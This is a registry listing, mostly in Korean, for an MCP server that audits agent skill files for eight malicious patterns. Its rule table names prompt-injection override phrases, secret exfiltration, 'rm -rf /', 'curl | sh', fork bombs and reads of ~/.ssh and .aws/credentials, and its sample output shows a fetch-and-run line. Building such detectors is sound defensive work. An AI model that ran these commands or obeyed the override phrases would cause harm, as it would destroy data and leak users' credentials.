Skip to main content
Glama
sudo-ai-git

mcp-skill-sec

mcp-skill-sec

모든 에이전트 스킬, 시스템 프롬프트 또는 다운로드한 파일 모음을 악성 스킬 공급망 패턴 8가지에 대해 감사하는 Model Context Protocol (MCP) 서버입니다.

결정적이며, LLM이 없고, 네트워크 호출이 없습니다. Claude Code, Cursor, Copilot, OpenClaw, Codex CLI 및 모든 MCP 호환 에이전트에서 작동하는 자체 호스팅 가능한 사전 설치 스캐너입니다.

검사 대상 (규칙 R1–R8)

규칙

패턴

R1

프롬프트 인젝션 / 명령 탈취 (ignore previous instructions, 비밀 유지 지시, 정체성 재정의)

R2

데이터 유출 의도 (콘텐츠를 URL로 전송/게시/이메일, 로그 탈취)

R3

하드코딩된 비밀 / 자격 증명 (API 키, PAT, 개인 키, 연결 문자열)

R4

위험한 명령 (rm -rf /, curl | sh, 포크 폭탄, 원시 장치 쓰기)

R5

난독화 / 숨은 동작 (base64-exec, eval/exec, 제로폭 문자)

R6

신뢰할 수 없는 외부 가져오기 (fetch-and-run, PyPI 외 설치)

R7

자격 증명 접근 (~/.ssh, .aws/credentials, .env 읽기)

R8

권한 상승 (sudo -s, setuid, sudo 그룹 추가)

각 발견 항목은 severity(critical/high/medium/low), 줄 번호, 그리고 일치하는 증거 줄을 포함합니다. 전체 판정은 critical/high 발견 사항이 없고 모든 medium 발견 사항이 양호(benign)인 경우에만 PASS입니다.

Related MCP server: tar-engine

도구

  • audit_text(text, filename) — 문자열(당신에게 붙여넣어진 스킬, 당신이 작성하지 않은 시스템 프롬프트)을 감사합니다.

  • audit_skill_file(path) — 디스크에 있는 SKILL.md / AGENTS.md / CLAUDE.md를 감사하고, 줄 번호가 매겨진 증거를 반환합니다.

  • audit_directory(path, pattern) — 다운로드한 전체 스킬 모음을 감사합니다. 파일별 판정과 요약을 반환합니다.

  • rule_list() — 규칙 카탈로그를 출력합니다.

설치 및 실행

pip install mcp
mcp install mcp_server.py  --name skill-sec          # register with Claude Desktop
# or run manually over stdio:
python3 mcp_server.py

Claude Desktop / 에이전트 구성

{
  "mcpServers": {
    "skill-sec": {
      "command": "python3",
      "args": ["/absolute/path/to/mcp_server.py"]
    }
  }
}

예시

skill-sec: /tmp/downloaded-skill/SKILL.md
  verdict : FLAG
  counts  : critical 1, high 2, medium 1, low 0
  R3 [critical] line 11: api_key = "sk-live-…"
  R3 [high]     line 14: password = "hunter2"
  R4 [critical] line 22: curl https://x/y.sh | sh
  action : remove the literal secrets, drop the fetch-and-run, re-audit

라이선스 및 출처

MIT. sudo-ai-git 작성. 이것은 독립형 보안/검증 도구이며 독점적인 방법을 포함하지 않습니다. skill-sec 에이전트 스킬의 MCP 표현입니다(동일한 규칙을 스킬 대신 서버로 호출할 수 있습니다).

공식 MCP 레지스트리 메타데이터

mcp-name: io.github.sudo-ai-git/mcp-skill-sec

Related MCP Connectors

Related MCP Servers

  • A
    license
    Not graded
    quality
    D
    maintenance
    Static security scanner for AI agent skill packages that detects malicious SKILL.md files and bundled scripts before they run.
    15
    MIT
  • A
    license
    Not graded
    quality
    C
    maintenance
    Audits AI agent skills for safety using static, semantic, adversarial, and supply-chain analysis, providing scores and risk flags. Can be run via CLI, CI, or as an MCP tool from Claude Code, Cursor, and Codex.
    2
    Apache 2.0
  • A
    license
    Not graded
    quality
    C
    maintenance
    Enables authorized security auditing of AI-agent supply chains and agent-facing surfaces: deterministic local skill-bundle audits against eight attack patterns, secrets scanning, and scope-gated read-only recon of agent endpoints and MCP surfaces.
    MIT
  • A
    license
    Not graded
    quality
    B
    maintenance
    Provides a deterministic pre-install security scan for Agent skills, plugins, and MCP servers via stdio, returning verdicts, audited badges, CI gates, and reports without executing code or making network calls.
    99 npm
    MIT